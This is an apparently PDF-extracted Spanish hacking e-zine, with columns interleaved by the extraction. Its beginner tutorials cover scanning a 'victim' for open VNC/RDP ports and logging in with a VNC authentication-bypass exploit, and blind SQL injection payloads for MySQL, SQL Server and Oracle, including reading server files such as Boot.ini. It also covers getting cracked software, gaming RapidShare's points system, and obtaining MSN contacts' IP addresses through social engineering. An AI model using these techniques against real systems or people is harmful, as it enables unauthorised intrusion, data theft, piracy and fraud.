Vous êtes sur la page 1sur 69

!

!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
Joejdf!
1 PORTADA & APENDICE

3 EXPLOTANDO PUERTOS

6 CAMBIAR IP CON HIDEIP

8 RAPIDSHARE PREMIUM

10 INYECCION A CIEGAS

13 UTILIDADES MSN

17 CREAR Y ENCRIPTAR TROYANOS

21 CONOCIMIENTO BASICO EXPLOITS

23 INFECTAR FICHEROS EJECUTABLES

26 APERTURA DE CARPETAS

28 INTRODUCCION AL ASM II

33 MANUAL DE BATCH

38 PROGRAMACION C II

42 TRIANGULO DE PASCAL

44 PROGRAMAR EN ASP

46 TABLA DE CODIGOS CARACTERES

50 PENDRIVE USB DE ARRANQUE EN LINUX

53 TUTORIAL BOTONES

59 TUTO FIRMA

60 SETUP BIOS CMOS

62 INSTALACION DE ASTERISK

66 MODDING GALLERY 3

!
Hacking Newbie
Explotando Puertos CUH e-zine 3ª Edicion

Explotando Puertos By [p3ll3]

Y el puerto 3899 es el utilizado por windows para el


RDP que cumple la misma función del VNC.
Explotando Puertos 5900 y 3899
Para poder realizar la intrusión necesitamos lo
siguiente:

• Un scanner de puertos. (propio o el que


recomendaría es Nmap)

• El scanner de VNC (para windows solamente,


google: “BoztecVNC scanner”), eso si no se
quieren complicar la vida.

• En linux solo necesitamos el Krfb que esta


Antes de empezar el tutorial tenemos que pre-instalado, por lo menos en Slackware
informarnos un poco acerca de lo que vamos a • en la parte de los programas de Internet.
hacer...
En realidad este tutorial va a tratar de explicar como • Y sobre todo mucha paciencia.
podemos controlar un pc remotamente con la ayuda
de los administradores de las pc victimas. xD Como reconocemos una victima ??

Muy fácil yo creo que ya hasta ustedes lo saben;


para saber si una victima es o no vulnerable
simplemente aplicamos el siguiente comando, esto
utilizando Nmap:

nmap -P0 -p T:3899,5900 <ip.Victim.a.atacar>

Que es control remoto ???

Bueno en este caso vamos a tener acceso a todas las


funciones de la pc victima como si fuéramos
administradores.
Porque este comando y que es lo que hace??

Este comando fue escogido porque va a hacer un


escaneo sencillo a esa ip y a esos puertos.
-P0 => hace el escaneo a fuerza.
-p => especifico puertos
Que es o que funcion cumplen los puertos que vamos T: => va junto a -p y es para decirle al scanner que
a utilizar para poder tener control sobre ella ??? son puertos TCP.

Los puertos mencionados arriba son los que utiliza el Este comando nos va a devolver el siguiente
programa VNC para poder conectarse remotamente resultado:
a la pc (en realidad solo el 5900).
Hacking Newbie
Explotando Puertos CUH e-zine 3ª Edicion
no se preocupen que eso se puede solucionar...
Para poder loguearse remotamente esta el exploit:
“realvnc_41_bypass” , con la ayuda de este exploit
se van a loguear sin necesidad de passwords.
-Con windows solamente utilizan el scanner para
VNC que mencione anteriormente y lograran
loguearse (si tiene clave utilizan el mismo exploit),
este scanner trae otras utilidades bastante buenas
Como vemos en la imagen nuestra victima cuenta que pueden hacer uso en caso de que no tenga esos
con muchos puertos abiertos que pueden ser puertos vulnerables.
tomados como vulnerabilidades pero lo que nos
interesa son las que ya he mencionado antes. Ayuda de Nmap
Some Common Scan Types (’*’ options require root privileges)
Bueno,bueno, ya mucha explicación ahora como * -sS TCP SYN stealth port scan (default if privileged (root))
hago para entrar en el pc ??? -sT TCP connect() port scan (default for unprivileged users)
* -sU UDP port scan
-sP ping scan (Find any reachable machines)
Tienes dos opciones para entrar a la pc, la fácil y la * -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only)
todavía mas fácil ,xD . -sV Version scan probes open ports determining service & app
names/versions
-sR RPC scan (use with other scan types)
Some Common Options (none are required, most can be
combined):
* -O Use TCP/IP fingerprinting to guess remote operating system
-p <range> ports to scan. Example range: 1-1024,1080,6666,31337
-F Only scans ports listed in nmap-services
-v Verbose. Its use is recommended. Use twice for greater effect.
-P0 Don’t ping hosts (needed to scan www.microsoft.com and
others)
* -Ddecoy_host1,decoy2[,…> Hide scan using many decoys
-6 scans via IPv6 rather than IPv4
-T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane>
General timing policy
-n/-R Never do DNS resolution/Always resolve [default: sometimes
resolve>
-oN/-oX/-oG <logfile> Output normal/XML/grepable scan logs to
<logfile>
-iL <inputfile> Get targets from file; Use ‘-’ for stdin
* -S <your_IP>/-e <devicename> Specify source address or
network interface
–interactive Go into interactive mode (then press h for help)
Example: nmap -v -sS -O www.my.com 192.168.0.0/16 ‘192.88-
90.*.*’

Como entro entonces??

En linux podemos utilizar Krfb, la forma para entrar


seria entonces: Bueno por ahora eso fue todo, espero que les haya
servido el tutorial y que este les haya enseñado o por
lo menos los haya motivado a buscar formas de
como mejorar esto que acaban de leer.

Saludos
[p3ll3]

En este caso parece que esta protegido el VNC pero


Hacking Newbie
Cambiar IP CUH e-zine 3ª Edicion

Cambiar IP con HideIP By ChUtOReCaRgAdO


Requerimientos del Sistema:
Primeramente me presentare, Hola,
para los que no me conocen soy • Windows 98/2000/XP/2003/Me
José pero más conocido como
ChUtOReCaRgAdO y espero que te • 64 Megabyte Memoria
guste este pequeño aporte que he
hecho. • 300 MHz CPU
¾ Aprende cambiar tus IP y crear un reseteador Lo primero que tenemos que hacer es descargar el
de estas (siendo dinámicas o Estática) soft que lo puedes hacer de aquí
http://rapidshare.com/files/84262778/Hide_IP_Platin
En este manual Tratare de enseñar a usar el Hide IP um_v.3.5___Serial.exe
Platinum, para que lo puedan usar bien y
configurarlo de tal manera que les pueda servir de Pass: chue-zine
algo, para los que no saben este soft te cambia tu IP
o la oculta. O lo puedes buscar en el Google escribiendo esta
También a crear una reseteador IP dinámicas para frase (que siempre funciona) “Hide IP Platinum+
que no tengas hacer nada más que apretar un .bat Crack” y lo descargas, una vez que esta lista la
para que tu Ip cambie (solo para IPs dinámicas), descarga lo descomprimes en una carpeta
(seguramente tendrá dos archivos, el Programa y
Conceptos que debemos saber: uno de texto que es el código de activación) una vez
IP: (Internet Protocol) es un conjunto de cuatro que ya tengas listo ejecutas el archivo .exe
números cada uno de ellos va desde el 0 al 255,
separados por puntos, con los cuales se identifica a
un ordenador conectado a una red que corre bajo
este protocolo.

Nuestra IP puede ser:

IP Estática (si siempre es la misma) El IP Platinum es Le das en siguiente, aceptar, siguiente, siguiente,
especialmente para aquellos que no tienen IP siguiente, Install, finish.
Dinámica (por que cambiar la IP siendo esta es muy
fácil) o simplemente si quieres ser anónimo
navegando por la web.

IP dinámica (si cuando reiniciamos la conexión


cambia). O sea si apagamos el modem o
desconectamos el cable Ethernet y luego lo
conectamos, nuestra IP Teóricamente cambia.

1. Empezare por enseñar a cambiar tu IP Si todo salió bien, ya estará el soft listo para ser
(especial para IP) estática: usado, una vez que ejecutes el Soft te saldrá esta
ventana
Para esto Ocuparemos Hide IP Platinum

Bueno para los que no saben el Hide IP-Platinum es


para cambiar la IP. De modo que te asigna una IP
diferente, esto es muy útil ya que puedes navegar
libremente por la red siendo anónimo y lo mas
bueno de este soft sirve para evadir la espera en Tienes que darle en esta opción, e ingresas el código
rapishare.com ya que al cambiarte la IP la base de que está en archivo anteriormente nombrado (el de
datos de esta Web (rapidshrare.com) no te reconoce, texto que viene con el programa, ese que está en la
y te dará acceso directo a la descarga del archivo carpeta) una vez insertado el código apretas en Ok
que quieres ahorrándote la larguísima espera de y listo,
este. Aparecerá un Icono en la barra de tareas
Hacking Newbie
Cambiar IP CUH e-zine 3ª Edicion
Pero si quieres puedes poner el que te apetezca.
Pero cuidado si no sabes que poner, mejor deja todo
como esta porque si está mal el proxy el software no
funcionará.

Si quieres bajar un archivo de http://rapishare.com y


Esto significa que el programa se está poniendo al
al cambiar la IP no puedes descargar el archivo
día (actualizando) en este momento no debes hacer
tienes que presionar Ctrl+Q y buscara otra IP
nada con él.
Una vez que se ha actualiza en soft buscara en el
Y vas probando si te funciona en
proxy, una IP y te la dirá
http://rapishare.com, hasta que encuentres una que
puedas descargar al tiro pero también tienes que ir
actualizando la pág. (F5).

Si te sale esto es que todo resulto bien, tu IP ha sido


cambiada

Si sale este Icono es que el IP-platiniun no ha


encontrado ningún servidor y lo mejor es cambiar el
proxy, mas adelante te enseñare a cambiarlo.

Pero primero cámbiale el Lenguaje haciendo doble


click en el icono de la barra de tareas te vas a
idioma le pones español y dejas tal cual las
funciones que trae.

Ahora explicare algunas de las funciones más


importantes que trae este soft:
Ahora les enseñare a crear un reseteador de IP
dinámicas:

Cuando tenemos IP dinámica, significa que cada vez


que conectamos la internet, nos entrega una IP
nueva, pero para hacer esto, hay que reiniciar el
Equipo o sacar el cable que conecta la Internet, o
apagar el Modem, que es un jaleo enorme,

Si lo que quieres es apretar un botón y que se


Esta opción sale al hacer click con el botón reinicie la conexión a Internet y te cambie la IP sigue
izquierdo del mouse sobre el Icono de la barra de leyendo, ya que enseñare a hacer un soft (es muy
tareas de dicho soft. simple) pero que es muy útil , tenemos que abrir una
hoja del block de notas o cualquier editor de texto
Stop Hide IP/Hide IP: Es para detener el Hide plano y escribimos lo siguiente:
temporalmente, también lo puedes hacer con las
teclas Ctrl+W. @echo off
Change Proxy: sirve para cambiar el Proxy o sea la Ipconfig/flushdns
IP. También se puede hacer Ctrl + Q. Ipconfig/release
My IP: abre una pág. web , en esta te muestra tu IP Ipconfig/renew
actual .Ctrl+D Ipconfig /release *Con*
Exit
Exit: Cierra el programa. Lo guardamos en el escritorio, y le ponemos el
nombre que nosotros queramos pero con extensión
Algunas Recomendaciones: .bat, listo ya está hecho el reseteador de IP
Si se demora demasiado en encontrar una IP puedes dinámicas. ¿Fácil No?
cambiar el Proxy ej. A http://rapidshare.com
Y en la cadena de caracteres tienes que poner una Saludos, hasta la próxima.
palabra como ej.
“Rapidshare.”
Hacking Newbie
Cuenta Premium En RapidShare CUH e-zine 3ª Edicion

Crear una cuenta Premium En RapidShare By ChUtOReCaRgAdO

COMO CREAR UNA CUENTA que nos hagamos una Premium (de un AÑO) o
PREMIUM O EXTENDER UNA SI YA LA extender la que ya tenéis, hay que acumular 8000
TIENES EN RAPIDSHARE.COM Puntos (hartos verdad) pero con todos estos puntos
Perdón por que no lo había dado a te dan un año de cuenta Premium.
conocer directamente al foro ya que Lo primero que debemos hacer es bajarte este soft
quería algo bueno en mi primer de
artículo en la Cuh e-Zine (pero luego lo subo al http://rapidshare.com/files/84259641/Easy_Rapidsha
foro). re_Points_3.exe
Pass:chue-zine
O tal vez cuando leas esto el link este roto o tal vez
la versión vaya en otra más que la 3.0, bueno no te
aflijas, te vas al Google y pones la frase mágica que
a mí siempre me funciona “Easy Rapidshare Points
ES VERDAD!, como dice el titulo en las próximas (versión que buscas)+ crack” .
líneas te enseñare como crear una cuenta (sin gastar Una vez que lo descargas lo desempaquetas si
ningún dinero) en este servidor de gestión de bajaste mi archivo claro, ya que lo hice un .exe para
descarga y como todos saben es uno de los mejores que no necesites software adicionales para
y yo diría el mejor ya que es muy rápido (es porque descomprimirlo un ejemplo es WinRar (debería estar
tiene un acelerador de descarga muy bueno) y que el soft y un archivo de texto) si estás listo para
las mejores cosas están alli, como los SOs No libres, instalarlo ejecutas el .exe, si sabes Ingles Lees , pero
software de calidad (muchos), Música, películas y si no, No leas, pero dice algo sobre que cierres los
etc. y etc. programas que tienes y ejecución y bla, bla, lo
Pero lo malo de esto es cuando No tienes una cuenta mismo que dicen todos y que nunca hago caso, he
Premium ya que tienes que esperarte varias horas igual funcionan, apretar “Next” (siguiente).
para volver a bajarte un archivo (si es que bajaste En esta parte Tienes que llenarlo con algunos datos y
algo de 100 Mb, además es lo máximo que puedes donde dice serial tienes que poner uno de los tantos
descargar con cuenta free, por que cuando uno baja que hay en el archivo de texto que vienes con el
Free solo puede descargar algo igual o menor a 100 paquete que descargaste (¿recuerdas?).
Mb) pero si tienes una cuenta Premium bajas todo Siguiente, eliges donde quieres Instalarlo, siguiente,
quieras, tener varias descargas simultáneas, no siguiente.
esperar, sin virus, etc. Listo el programa está instalado, una vez instalado
Pero también lo puedes utilizar para compartir no lo ocuparemos al tiro.
archivos pesados con amigos, familiares, no es para Ahora tenemos que hacer un archivo que pese más
que siempre rompamos las reglas de copy- De 1 mega y menos de 2 Mb, lo comprimimos
restrinjido. (recomendado), si ya tienes una cuenta Premium
Aunque hay varis programas que tratan de evadir seguramente sabes subir archivos, entonces lo subes,
cambiando la IP (que es el método más que se usa) pero si no tienes una Cuenta Premium debes hacerte
lo mejor es tener una Cuenta Premium. una Free (libre), si no sabes hacerte una sigue
Ya basta de palabrería y vamos al grano. Para leyendo pero si sabes sáltate estas estrofas.
poder hacer nuestra cuenta necesitamos este
software Easy Rapidshare Points 3.0. Hacerse una cuenta Free en Rapidshare:

Este con este software haremos lo siguiente (yo hasta Abres una pág. web (con el Mozilla Firefox, Internet
esta parte iba muy emocionado por qué me Explorer, Opera, tu elije el que más te acomode)
imaginaba otra cosa pero sigue y el premio es Nos vamos a: http://rapidshare.com subes el archivo
grande) Miren lo que hace el “Easy Rapidshare que hemos creado anteriormente, para hacer esto de
Points 3.0” es ayudarte a hacer puntos, si bien sabes debes marcar donde dice examine, buscas el archivo
tú puedes ir subiendo cosas a esta web que hemos hecho antes y aceptar, luego selecciona
(Rapidshare.com) y llevar un registro de cuantas unload, esperas que se suba el archivo (el tiempo de
veces se ha descargado (pero tienes que tener espera varía según la velocidad de conexión que
cuenta Free o Premium) y te van dando un punto por tengas) .
cada vez que descarguen un archivo que tú has Una vez que se termine de subir te saldrán los datos;
subido (pero con la cuenta Premium o free). Y para cual es el link, si quieres enviarle el link a amigos,
Hacking Newbie
Cuenta Premium En RapidShare CUH e-zine 3ª Edicion
pero para que nos ágamos una cuenta Free tienes En 1 Minuto 1 punto
que irte al final de la pág. y rellenar con tus datos 30 Minutos 30 puntos
donde dice “user name” (pones un nombre de 1 Hora 60 puntos
usuario para registrarte ej. ChUtOReCaRgAdO, 1 día 1440 puntos
Email tienes que poner tu email verdadero y en
“password” una contraseña y aceptas. 1 Mes 43.200
Si esta todo correcto y te sale una pág. Como la de
a continuación, ya tienes tu cuenta Free, pero si no,
es que algo quedo mal, vuelve a escribir tu nombre
de usuario o contraseña.

PD: yo hace un mes que lo estoy intentando hacerme


Escribimos los datos que hemos puesto una, pero para mí es muy difícil ya que no tengo
anteriormente, tu nombre de usuario y contraseña y internet y tengo que ir a un ciber.
apretar “Enter o donde dice “SSL-encrypted Login , si Para ver los puntos que llevas tienes que ingresar a
está bien ya estarán dentro de tu cuenta free la pág. tu cuenta a Rapidshare para ver cuántas veces se ha
que muestra es diferente a la antes ya que ahora bajado el archivo.
sale lo mismo para subir archivos pero abajo sale Te metes a la Web y te vas a la sección Free Zone, y
una lista de los archivos que has subido con la te metes en el sub-menú Collector`s zone login, metes
cuenta, ahora tienes que copiar el link del archivo tu nombre de usuario y contraseña y listo.
que subimos anteriormente, tienes que llevar el También aconsejo otro soft que les puede servir ya
cursor donde aparece un icono de archivo de texto y que puede hacer varias descargas simultáneas, el
luego presionas el botón izquierdo del mouse y Downlop Direct, tienes que instalarlo y aplicarle el
copias el link (copiar destino), ahora tenemos que crack, luego lo abres :
abrir el Rapidshare Points, Inicio, todos los
programas, Easy Rapidshare Points 3.0, y lo abres,
copias el link en la barra de direcciones y apresta
Go, entraremos a Rapidshare, tienes que bajarte el
archivo, te vas al final de la pág. marcas donde dice
Free, luego te vas al medio de la pág. y esperas un
minuto, pones Las letras que aparecen y lo
descargas, pero la gracia esta que cuando valla en
la mitad o un poco mas allá cancelas la descarga,
luego repites el proceso una y otra vez.

Y para empezar a descargar presiones donde dice y


copias el link pero este a veces lo identifica solo, y
comienza a descargar, luego haces lo mismo hasta
que ya no se puede poner ninguna descarga, y
cuando vallan en la mitad, lo cancelas o remueves
uno o todos, y así vas avanzando harto, pero el
archivo tiene que estar en .Zip o .rar, y este soft
consume muchos recursos, si queremos encontrar el
programa que menciono nos vamos al Google y
ponemos “Download Direct+crack”
SaLuDos y hasta la próxima
Es recomendable hacerlo entre hartas personas ya
By ChUtOReCaRgAdO
que se avanza mucho más rápido.
Hacking Newbie
Inyeccion a ciegas SQL CUH e-zine 3ª Edicion

INYECCION A CIEGAS DE SQL I PARTE By Alesteir

de inyección SQL. Ahora Supongamos que tenemos


INYECCION A CIEGAS DE SQL - una aplicación web, la cual usa los datos que recibe
BLIND SQL INJECTION por parte del usuario (Cliente) para construir
Para nadie es un secreto que unas sentencias de consulta y de esta forma mostrar la
de las mayores vulnerabilidades de información pertinente (solicitando los datos al
la red son las famosas inyecciones Servidor), ahora resulta que llegado el punto,
SQL, pero existen variadas técnicas y una de ellas, es sabemos de su vulnerabilidad y procedemos a
la que actualmente se conoce como inyección a inyectar consultas pero no vemos los datos
ciegas de SQL (blind sql injection), este articulo es obtenidos, no obstante, podemos distinguir
una corta introducción y nos ayudara a comprender comportamientos distintos entre consultas que
lo que son y como funcionan dichas técnicas y muestran datos, y las que no lo hacen, es allí donde
alguna cosilla mas, en el siguiente numero del e-zine basados en valores verdadero (true) o falso (false)
trataremos la forma de explotar dichas que son devueltos por la aplicación, que debemos
vulnerabilidades. saber el tipo de inyección ciega pertinente, para de
esta manera obtener los datos que deseamos poseer.
Inyección SQL Para saber si un parámetro es vulnerable a una
inyección ciega de sql supongamos que tenemos una
web, y la pagina 467, por decir algo un ejemplo:

http://www.ejemplo.org/pagina.php?id=467

Entonces añadimos abs() de la siguiente manera:

http://www.ejemplo.org/pagina.asp?idpagina=abs(4
67)

Y si la página se muestra correctamente sabremos


que la web es vulnerable a un ataque a ciegas de
Una inyección de código SQL esta basada en una inyección SQL.
interacción de un intruso con el motor de una base
de datos, en la cual el atacante puede obtener y
hasta modificar los datos, e incluso el atacante
puede llegar a obtener y manipular archivos, con la
consecuencia de poder manejar los datos y el
sistema a su antojo y con total libertad. Todo ello se
debe a la mala validación y filtrado de los datos
introducidos por el usuario (Cliente), por parte de la
aplicación Web (Servidor) que maneja el gestor de la
base de datos, de forma que el intruso puede
alterar las sentencias SQL aceptadas por la
aplicación server.

Injeccion Ciega de SQL

Esta técnica se usa cuando una web no muestra los


típicos mensajes de error de la base de datos, al no
haber un resultado positivo en una consulta
especifica, o sea que solo se enviará una respuesta
por parte del servidor si el resultado es correcto. Es
por ello que sentencias que contengan entre sus
condiciones valores comparativos como 1=1 o
0=1 ofrecen respuestas, bien sea respuestas
negativas o positivas, esta es la base de esta técnica
Hacking Newbie
Inyeccion a ciegas SQL CUH e-zine 3ª Edicion
Inyeccion a ciegas basado en tiempos de respuesta

Las primeras referencias en cuanto al tema las hizo


Chrish Anley en el documento: Advanced SQL
Injection” en el 2002 hacia referencia de la
posibilidad de realizar ataques a ciegas basado en Microsoft SQL Server :
tiempos de respuesta , en dicho documento el
explicaba códigos, métodos y practicas para hacer http://server/ejemplo.php?id=35; if (exists(select *
consultas sin importar si obteníamos resultados from Passwords)) waitfor delay ‘0:0:8’—
palpables, e indefectiblemente saber si eran ciertas
o no, todo ello dependiendo, de el tiempo en que el En la anterior consulta el motor evalúa si la tabla
motor de la base de datos tardaba en dar la Passwords existe y si contiene registros, al cumplirse
respectiva respuesta a la consulta. A partir de allí se la condición la respuesta se retardará por un lapso
empezó a indagar por parte de otras mentes de 8 segundos, es bueno recalcar que no todos los
inquietas, pronto se descubrieron parámetros gestores permiten la técnica de inyección a ciegas
vulnerables a inyección SQL, de forma que sin con retardo de tiempo
necesidad de ver los resultados de la consulta, se
podían conseguir resultados a partir del tiempo de Inyección a ciegas basado en tiempos de respuesta
respuesta dado por el gestor (y con un poco de usando consultas pesadas
lógica se podían transforman en datos reales), otros
mas osados crearon herramientas para explotar Existe otra técnica que se basa en usar consultas
(exploits) dichos parámetros vulnerables a pesadas, las cuales al exigir al motor de bases de
inyecciones ciegas y hasta que con el tiempo se datos y de manera obvia generar un retardo de
volvió ya todo un tópico, a la hora de penetrar un tiempo ante respuestas positivas. Supongamos que
sistema basado en consultas a un gestor de base de sabemos cual es el parámetro vulnerable de una
datos. La técnica consiste en generar retardos en las consulta y queremos saber si existe una tabla X en
inyecciones, y la mejor forma de usar esta especial, aquí optaríamos por elaborar una consulta
vulnerabilidad, es conociendo las funciones que solo haga trabajar al motor un tiempo extra con
especificas cada motor de base de datos, benchmark nuestra consulta pesada si dicha sentencia cumple la
(sleep en la versión 5 y posteriores) en mysqlm, condición de que la tabla X exista en la base de
waitfor en SQL server, DBMS_Lock.Sleep() en datos, de otra forma no lo haría y por lógica el
Oracle; por nombrar solo algunas. tiempo de respuesta seria distinto, es aquí donde se
deben conocer las clausulas y el tipo de condiciones
Veamos pues la forma de inyectar código a ciegas que se pueden llegar a manejar, (tal como sucede
en distintos gestores: con la clausula Where), para así mismo poder
elaborar adecuadamente nuestro consulta , para ello
se hace necesario conocer la evaluación de las
condiciones por parte de los gestores, en el caso de
la clausula Where , si la cláusula tiene encadenada
sus condiciones por operadores de tipo OR la
consulta se evaluará, mientras ninguna condición
Mysql_ devuelva un resultado verdadero, contrariamente
cuando están encadenadas por operadores de tipo
http://server/ejemplo.php?id=35 and exists(select * AND las condiciones se evaluarán mientras ninguna
from Passwords and devuelva un valor falso, basado en este mecanismo
benchmark(8000000,md5(rand()))=0 es que se optimiza el tiempo de respuesta para las
condiciones, es por ello que los motores tienen un
Mysql (versiones 5): orden a la hora de hacer la evaluación, pero es el
programador quien realmente define el orden de las
http://server/ejemplo.asp?id=35 and exists(select * condiciones en una clausula Where, veamos por
from Passwords) and sleep(8) ejemplo la siguiente consulta:

Select nombre from Passwords where nombre=Aleks


and pass=qwerty;

Oracle: Select pass from Passwords where nombre=Aleks or


pass=qwerty;
http://server/ejemplo.php?id=1; begin if (exists(select
* from Passwords)) then dbms_lock.sleep(8); end if; En el primer caso usamos una condición AND, si al
end; evaluar la primera condición obtenemos un valor
Hacking Newbie
Inyeccion a ciegas SQL CUH e-zine 3ª Edicion
FALSO el gestor no evaluar la otra, en la segunda base de datos vulnerable, es lógico que
consulta con el operador OR si la primera condición dependiendo todo ello de los tipos de privilegios de
es VERDADERO no se evalúa la siguiente condición. la cuenta con que accedamos al servidor. También
Sucede que no siempre es el gestor el que realiza la existen otro tipo de técnicas que nos permiten
optimización, es entonces donde el programador hacernos con archivos directamente del sistema
debe saber la precedencia y el mismo efectuar la operativo del servidor, con esto ya tenemos casi que
optimización, pudiendo ser de izquierda a derecha o un acceso total a la web. Existen distintas funciones
viceversa. en cada gestor por ejemplo en Microsoft SQL Server
Actualmente los motores modernos estiman el tiempo 2005 tenemos las funciones OpenRowset y BULK que
de cada condición y evalúan primero la condicional se manejan combinadas, he aquí dos ejemplos :
de menos valor en tiempo real de ejecución, esta http://www.ejemplo.org/pagina.php?id=1 and (select
particularidad es la que nos permite aprovecharnos datalength(Z) from OpenRowset(BULK 'c:\Boot.ini',
de este tipo de situación. SINGLE_CLOB) as t(Z)) >1
Imaginemos que tenemos el parámetro vulnerable http://www.ejemplo.org/pagina.php?id=1 and
id_usuario en alguna URL: (select substring(Z,{PosByte},1) from
OpenRowset(BULK 'c:\ Boot.ini', SINGLE_CLOB) as
http://www.ejemplo.org/pagina.asp?id_Usuario=1 t(Z)) > 5
Con lo dicho anteriormente, si quisiéramos saber si Es asi como podríamos automatizar el proceso y
una tabla existe realizamos más o menos la siguiente obtener todo el contenido del archivo con un código
consulta: que llame uno a uno los caracteres del archivo que
http://www.ejemplo.org/pagina.asp?id_Usuario=1 vamos a conseguir.
[nuestra consulta pesada] and exists (select * from
Passwords) En MySQL podemos usar la función LOAD_FILE, la
De lo anterior deducimos que si la tabla claves cual acepta como parámetro la ruta de el archivo
existe , nuestra consulta pesada se efectuara pero en hexadecimal. Ahora si queremos realizar un
generando un retraso de tiempo considerable, lo ataque a el archivo c:Boot.ini
cual nos revelará que efectivamente la tabla debemos primero que todo convertirlo a
Passwords existe y que además posee mas de un hexadecimal: 0x633A5C626F6F742E696E69 con esto
registro. La elección de nuestra consulta pesada será podemos proceder con la inyección:
la clave a la hora de saber el retardo y por ende http://www.ejemplo.org/pagina.php?id=1 and
saber si nuestra consulta ha sido efectiva. Entonces mid(Load_File(0x633A5C626F6F742E696E69),1,1)=C
como elegimos nuestra consulta pesada? La HAR(34)
respuesta se da conociendo las tablas internas para
La condición será positiva, si la primera letra del
cada gestor de base de datos, por ejemplo en SQL
archivo corresponde con el carácter ASCII 34., es asi
Server tendríamos “sysobjects” y en Access
que por medio de automatización y de fuerza bruta
tendríamos “MSysObjects”; o tablas propias de la
podríamos obtener todos los datos de un archivo,
web vulnerable, que por obvias razones nosotros
alginas herramientas se basan en este método
seriamos quienes deduciríamos aquellas tablas que
Para saber si una web es vulnerable a una inyección
contienen registros, de esta forma podemos medir
ciega de sql supongamos que tenemos una web, por
los tiempos entre una consulta que cumpla las
decir algo un ejemplo:
condiciones y una que no. Podemos generar
http://www.ejemplo.org/pagina.php?id=467
consultas pesadas es unir tablas con otra s y otras
Entonces añadimos abs() de la siguiente manera:
hasta generar una cantidad grande de registros de
http://www.ejemplo.org/pagina.asp?idpagina=abs(4
forma que tan que obliguen al servidor a consumir
67)
un tiempo medible en procesarlo. Para ello basta
con conocer o averiguar o adivinar una tabla del
Si la página se muestra correctamente sabremos que
sistema de bases de datos, que tenga algún registro,
la web es vulnerable.
y unirla consigo misma hasta generar un tiempo
medible. Vamos a ver algunos ejemplos.
Según lo dicho anteriormente podemos hacer la
siguiente consulta en la cual se invierte la condición y
así poder comparar los tiempos entre cada una de
ellas:
Para la próxima edicion queda la otra parte de este
http://www.ejemplo.org/pagina.asp?id_Usuario=1 articulo, espero que les guste!
[nuestra consulta pesada] and not exists (select * Suertes!!!
from claves) By Alesteir
Otras técnicas de Blind SQL Injection
De esta forma ya sabemos que podemos consultar a
ciegas cada uno de los elementos del motor de una
Hacking Newbie
Utilidades MSN CUH e-zine 3ª Edicion

UTILIDADES MSN >By Ra19<

UTILIDADES MSN Solo bajen un poco y hay post sobre todo lo


Bueno en este manual basado para relacionado con un IP.
newbies, los cuales entran en el
mundo de el hacking generalmente Bueno empecemos, una de las maneras más fáciles
por este lado, por opinión personal sería esto. Abrimos el msn. Iniciamos sesión, etc.…
no me gusta que en la mayoría de los casos entren Abrimos la ventana de nuestra victima, en ese
para estas cosas pero bueno, les hago un manual momento abrimos inicio>ejecutar>cmd se nos abre
para que se puedan “divertir” un poco en lo que no una ventana así:
saben usar y siempre les interesó.

Empezaremos por un encabezamiento en el cual se


mostrara lo que leerán a continuación:
1.- Como sacar el IP de un contacto paso a paso,
con diferentes métodos.
2.- Congelar msn.
3.- Bloquear msn.
4.- Hackeo de msn las maneras menos complicadas
para newbies. (Solo se darán páginas de interés
sobre los temas más fáciles de conseguir un
password, pero se explicara todo lo relacionado con
lanzadores de exploits)
Después a través de ing. social,
(deje link abajo para que
aprendan lo que es por si acaso)
le enviaremos algo:

Como sacar el IP de un contacto pasó a paso, con


diferentes métodos.
(Está en francés mí SO pero eso no tiene
Bueno aquí solo se mostrara como sacar una IP, no importancia)
detallare que es ni para que se usa tampoco, pero Cuando el/ella acepte en el momento de la
dejare 2 link de interés para los que se quieran transferencia abrimos el MS/DOS (lo dicho mas
informar bien, yo no escribí ninguna de esas 2 cosas arriba) y escribimos netstat –n, el cual nos dará
y les doy los créditos a ellos. (cualquier duda foro.el- todas las conexiones establecidas que tiene el PC.
hacker.com lo mejor de lo mejor ;) ) (Se recomienda tener todo cerrado menos la ventana
1 link sobre ip: de la persona para tener menos conexiones y poder
saber cual es)
http://209.85.135.104/search?q=cache:v6BJxMJ13Xw Generalmente hay mas de una IP hay que ir
J:foro.el- probando.
hacker.com/index.php/topic,112902.0.html+definicion
+de+ip+site:foro.el- Método 2
hacker.com&hl=es&ct=clnk&cd=1&gl=mx
P Para esto se necesitan diferentes recursos en la PC.
2 link: - Windows Live MSN
- El PLUS de el Windows live MSN.
http://foro.el- - IP GET
hacker.com/index.php/topic,43462.0.html#bot
Hacking Newbie
Utilidades MSN CUH e-zine 3ª Edicion
Windows Live MSN link:
http://g.msn.com/8reen_us/ES/INSTALL_MSN_MESS
ENGER_DL.EXE
PLUS :

http://download.msgpluslive.net/setup/MsgPlusLive-
422.exe
IPGET : Y listo tendremos el IP de el
http://www.msgpluslive.net/scripts/browse/index.php contacto =D
?act=view&id=108 Otros métodos
Si los links caducan con el tiempo www.softonic.com Bueno podría estar escribiendo
y www.google.com los encuentran fácilmente mucho tiempo ya que hay muchos
métodos, daré algunos ejemplos
Instalan todo, etc... Para ver el IP Get solo hay que ir IP CON HOTMAIL.
a los scrips de MSN situados acá:
Bueno simplemente hagan esto (está
basado para Windows live Hotmail
En el punta de los cuadraditos de colores clickean y en el antiguo es mas fácil aun, si
les sale eso alguien quiere saber como se hace
que busque en el todopoderoso
Google) abajo están los pasos a
seguir. En otros tipos de correo
como Yahoo, Gmail etc.… no creo
que sea muy diferente.

Paso 1- Cambiar a versión completa de Windows


Bueno abrimos la ventana de MSN de
Live Hotmail.
nuestra victima y le enviamos algo:
Paso 2- Abrimos la bandeja de entrada y le damos
clic derecho al mail al cual queramos saber el IP de
quien lo envió
Paso 3- Teniendo el clic derecho apretado, hacer clic
en ver código fuente y listo.

Bueno también están los IP por lanzadores de


exploits troyanos etc... Pero no viene al tema.
En el momento de el envió abrimos el IP Get y nos Para este capitulo le agradezco a todos los que
saldrá esto: postearon en el foro los diferentes links, y los post
de los IP también, también pongo el link de ing.
social dicho mas arriba

Link: http://foro.el-
hacker.com/index.php/topic,61858.0.html

Post echo por Programar, yo aprendí con ese post.

También se puede sacar la IP de alguien con acceso


físico al computador pero eso depende de cada uno.
Sacar IP con acceso físico con Internet es
www.caulesmiip.com
Sin Internet inicio>ejecutar>cmd>escribimos ipconfig
Si no se puede poner Inicio>panel de control>
conexiones Internet, escogen la conexión de Internet
que estén usando, le dan al clic derecho entran a
propiedades, van a soporte y esta el IP, si no
